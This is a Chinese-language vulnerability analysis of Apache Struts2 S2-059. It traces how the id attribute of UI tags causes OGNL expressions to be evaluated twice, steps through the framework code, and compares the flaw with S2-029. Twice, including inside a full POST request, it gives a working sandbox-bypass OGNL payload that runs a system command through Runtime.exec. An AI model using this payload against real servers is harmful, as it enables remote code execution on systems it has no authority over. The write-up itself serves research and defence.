作者:hu4wufu@白帽匯安全研究院
核對:r4v3zn@白帽匯安全研究院
前言
2020年8月13日雖然近幾年來關于ONGL方面的漏洞已經不多了,但是畢竟是經典系列的RCE漏洞,還是有必要分析的。而且對于Struts2和OGNL了解也有助于代碼審計和漏洞挖掘。
首先了解一下什么是OGNL,Object Graphic Navigation Language(對象圖導航語言)的縮寫,Struts框架使用OGNL作為默認的表達式語言。
struts2_S2_059和S2_029漏洞產生的原理類似,都是由于標簽屬性值進行二次表達式解析產生的,細微差別會在分析中提到。
漏洞利用前置條件是需要特定標簽的相關屬性存在表達式%{payload},且payload可控并未做安全驗證。這里用到的是a標簽id屬性。
id屬性是該action的應用id。
經過分析,受影響的標簽有很多繼承AbstractUITag類的標簽都會受到影響,受影響的屬性只有id。
環境準備
測試環境:Tomcat 8.5.56、JDK 1.8.0_131、Struts 2.3.24。
由于用Maven創建有錯誤沒有解決,所以選用idea自帶的創建struts2工程。

創建好工程后,在web/WEB-INF下新建lib文件夾,然后將下載的jar包復制進去即可。
jsp測試文件:

添加字段獲取傳參,并且顯示到頁面。

漏洞驗證
poc1:http://localhost:8082/test-S2-059.action?payload=%25%7b%31%2b%34%7d%0a
輸入普通文本:

輸入ONGL表達式%{1+4},需要url轉碼%25%7b%31%2b%34%7d%0a

poc2:
這里發送一個post包即可,構造思路在分析和總結中提到。
POST /s2_059/index.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Origin: http://localhost:8085
Connection: close
Referer: http://localhost:8085/s2_059_war/
Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0
Upgrade-Insecure-Requests: 1
payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

漏洞分析
我們首先看一下漏洞的調用棧:

不同版本的調用鏈可能會不一樣,比如在較低的版本最終是在com.opensymphony.xwork2.util.TextParseUtil.class的translateVariables()方法賦值。
漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-059
根據漏洞詳情可知問題出現在標簽解析的時候,所以我們從org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法開始跟進,從這里開始進行jsp標簽的解析。當用戶發送請求的時候,doStartTag()開始執行。我們直接debug斷點在解析標簽的ComponentTagSupport的第一行。

在this.populateParams()進行賦值,所以我們跟進populateParams(),進行初始參數值的填充。
org.apache.struts2.views.jsp.ui.AnchorTag.class中存儲著所有的標簽對象。

org.apache.struts2.views.jsp.ui.AbstractClosingTag.class這里是調用了父類AbstractUITag的populateParams()方法。

繼承AbstractUITag類的標簽都會受到影響。當這些標簽存在id屬性時,會調用父類org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()方法,觸發setId()方法時會解析一次OGNL表達式。
往下跟父類的populateParams()方法。
UIBean uiBean = (UIBean)this.component;
uiBean.setCssClass(this.cssClass);
uiBean.setCssStyle(this.cssStyle);
uiBean.setCssErrorClass(this.cssErrorClass);
uiBean.setCssErrorStyle(this.cssErrorStyle);
uiBean.setTitle(this.title);
uiBean.setDisabled(this.disabled);
uiBean.setLabel(this.label);
uiBean.setLabelSeparator(this.labelSeparator);
uiBean.setLabelposition(this.labelPosition);
uiBean.setRequiredposition(this.requiredposition);
uiBean.setName(this.name);
uiBean.setRequired(this.required);
uiBean.setTabindex(this.tabindex);
uiBean.setValue(this.value);
uiBean.setTemplate(this.template);
uiBean.setTheme(this.theme);
uiBean.setTemplateDir(this.templateDir);
uiBean.setOnclick(this.onclick);
uiBean.setOndblclick(this.ondblclick);
uiBean.setOnmousedown(this.onmousedown);
uiBean.setOnmouseup(this.onmouseup);
uiBean.setOnmouseover(this.onmouseover);
uiBean.setOnmousemove(this.onmousemove);
uiBean.setOnmouseout(this.onmouseout);
uiBean.setOnfocus(this.onfocus);
uiBean.setOnblur(this.onblur);
uiBean.setOnkeypress(this.onkeypress);
uiBean.setOnkeydown(this.onkeydown);
uiBean.setOnkeyup(this.onkeyup);
uiBean.setOnselect(this.onselect);
uiBean.setOnchange(this.onchange);
uiBean.setTooltip(this.tooltip);
uiBean.setTooltipConfig(this.tooltipConfig);
uiBean.setJavascriptTooltip(this.javascriptTooltip);
uiBean.setTooltipCssClass(this.tooltipCssClass);
uiBean.setTooltipDelay(this.tooltipDelay);
uiBean.setTooltipIconPath(this.tooltipIconPath);
uiBean.setAccesskey(this.accesskey);
uiBean.setKey(this.key);
uiBean.setId(this.id);
uiBean.setDynamicAttributes(this.dynamicAttributes);
跟進其他屬性到org.apache.struts2.components.UIBean.class發現AbstractUITag.class所有的屬性除了id都是直接賦值。
@StrutsTagAttribute(
description = "The template directory."
)
public void setTemplateDir(String templateDir) {
this.templateDir = templateDir;
}
...
@StrutsTagAttribute(
description = "Icon path used for image that will have the tooltip"
)
public void setTooltipIconPath(String tooltipIconPath) {
this.tooltipIconPath = tooltipIconPath;
}
跟進setId()方法,會有一個findString()方法,這里也就解釋了為什么是id屬性進行解析了。

如果id不為空,那么給id賦值用戶傳入的值。接著跟入findString()。

跟進findValue()方法,我們來看看賦值過程。

如果altSyntax功能開啟(此功能在S2-001的修復方案是將其默認關閉),altSyntax這個功能是將標簽內的內容當作OGNL表達式解析,關閉了之后標簽內的內容就不會當作OGNL表達式解析了。執行到TextParseUtil.translateVariables('%', expr, this.stack),然后在下面執行OGNL的表達式的解析,返回傳入action的參數%{1+4},這里進行了一次表達式的解析。也就是對屬性的初始化賦值操作。
translateVariables()函數傳過來的open參數的值是'%',在截取的時候是截取的 open之后的字符串,并把傳入stack.OgnlValueStack,這也是我們的poc構造的時候要寫成%{*}形式的原因。
跟到com.opensymphony.xwork2.util.TextParseUtil.class中的translateVariables()方法。

在translateVariables()方法while循環里加了一個maxLoopCount參數來限制遞歸解析的次數,break跳出循環(這是對S2-001的修復方案)。這里的maxLoopCount為1。

while(true) {
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
++loopCount;
start = expression.indexOf(lookupChars);
}
if (loopCount > maxLoopCount) { //設置maxLoopCount參數,break跳出循環。
break;
}
接著往下跟,跟進evaluate()方法。

最終在com.opensymphonny.xwork2.util:57完成第一次賦值。這里只進行了一次表達式的解析,返回給action傳入的參數是%{1+4},并未解析成功表達式。

所以我們回到ComponentTagSupport.class類doStartTag()方法,再跟一下標簽對象的start()方法,這里會進行id值的二次解析。

這里調用了父類ClosingUIBean的start()方法

跟到父類org.apache.struts2.components.ClosingUIBean.class,我們看一下evaluateParams()方法。

org.apache.struts2.components.UIBean.class的evaluateParams()方法中有很多屬性使用findString()來獲取值。
...
if (this.name != null) {
name = this.findString(this.name);
this.addParameter("name", name);
}
if (this.label != null) {
this.addParameter("label", this.findString(this.label));
} else if (providedLabel != null) {
this.addParameter("label", providedLabel);
}
...
if (this.onmouseout != null) {
this.addParameter("onmouseout", this.findString(this.onmouseout));
}
但是除了id解析兩次OGNL外,算上前面的setId()解析了一次,所以這里邊的其他屬性都僅解析了一次。
最終跟進populateComponentHtmlId()方法

再跟進findStringIfAltSyntax()方法。

在開啟了altSyntax功能的前提下,可以看到這里對id屬性再次進行了表達式的解析。
進入到findString()后,就跟前面流程一樣了。這也是解釋了這次漏洞是由于標簽屬性值進行二次表達式解析產生的。

跟進findvalue()

org.apache.struts2.components.Component.class的findStringIfAltSyntax(),與前面一樣又會執行一次TextParseUtil.translateVariables()方法。

跟進com.opensymphony.xwork2.util.TextParseUtil.class:63的return parser.evaluate(openChars, expression, ognlEval, maxLoopCount)

這里可以看到表達式內容已經解析執行了。
思考
如果表達式中的值可控,那么就有可能傳入危險的表達式實現遠程代碼執行,但是這個漏洞利用前提條件是altSyntax功能開啟且需要特定標簽id屬性(暫未找到其他可行屬性)存在表達式%{payload}且payload可控且不需要進行框架的安全校驗。利用條件較為苛刻,需要結合應用程序的代碼實現,所以無法進行大規模的利用。
我們知道此次S2-059與之前的S2-029和S2-036類似都是OGNL表達式的二次解析而產生的漏洞,用S2-029的poc打不了S2-059搭建的環境。
與S2-029的區別:S2-029是標簽的name屬性出現了問題,由于name屬性調用了org.apache.struts2.components.Component.class的completeExpressionIfAltSyntax()方法,會自動加上"%{}"這也就解釋了S2-029的payload不用加%{}的原因。
protected String completeExpressionIfAltSyntax(String expr) {
return this.altSyntax() ? "%{" + expr + "}" : expr;
}
關于受影響標簽:
繼承AbstractUITag類的標簽都會受到影響。當這些標簽存在id屬性時,會調用父類AbstractUITag.populateParams()方法,觸發setId()解析一次OGNL表達式。比如label標簽(同樣輸入表達式%{1+4})。

這里可以看到LabelTag.class繼承了AbstractUITag.class

關于版本問題:
官方說明影響范圍是Apache Struts 2.0.0 - 2.5.20,這里測試了2.1.1和2.3.24版本。
不同的版本對于沙盒的繞過不同,所用的到的poc繞過也就有出入,再高版本2.5.16之后的沙盒目前沒有公開繞過方法。我測試了稍低版本Struts 2.2.1與稍高版本Struts 2.3.24,均可以控制輸入值。

關于回顯:
%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}
OgnlContext的_memberAccess變量進行了訪問控制限制,決定了用哪些類,哪些包,哪些方法可以被OGNL表達式所使用。
所以其中poc中需要設置#_memberAccess.allowPrivateAccess=true用來授權訪問private方法,#_memberAccess.allowStaticMethodAccess=true用來授權允許調用靜態方法,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties用來將受限的類名設置為空
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties用來將受限的包名設置為空
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()返回HttpServletResponse實例獲取respons對象并回顯。
#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()執行系統命令,使用java.util.Scanner一個文本掃描器,執行命令ls -al,將目錄下的內容回顯出來。
至于為什么加%{},在之前的分析中已經提及。
參考
-
http://blog.topsec.com.cn/struts2-s2-059-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
-
https://github.com/ramoncjs3/CVE-2019-0230/commit/40f221f8fd60de78ca84aaf0365b7e4fdfd8105a
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1331/
暫無評論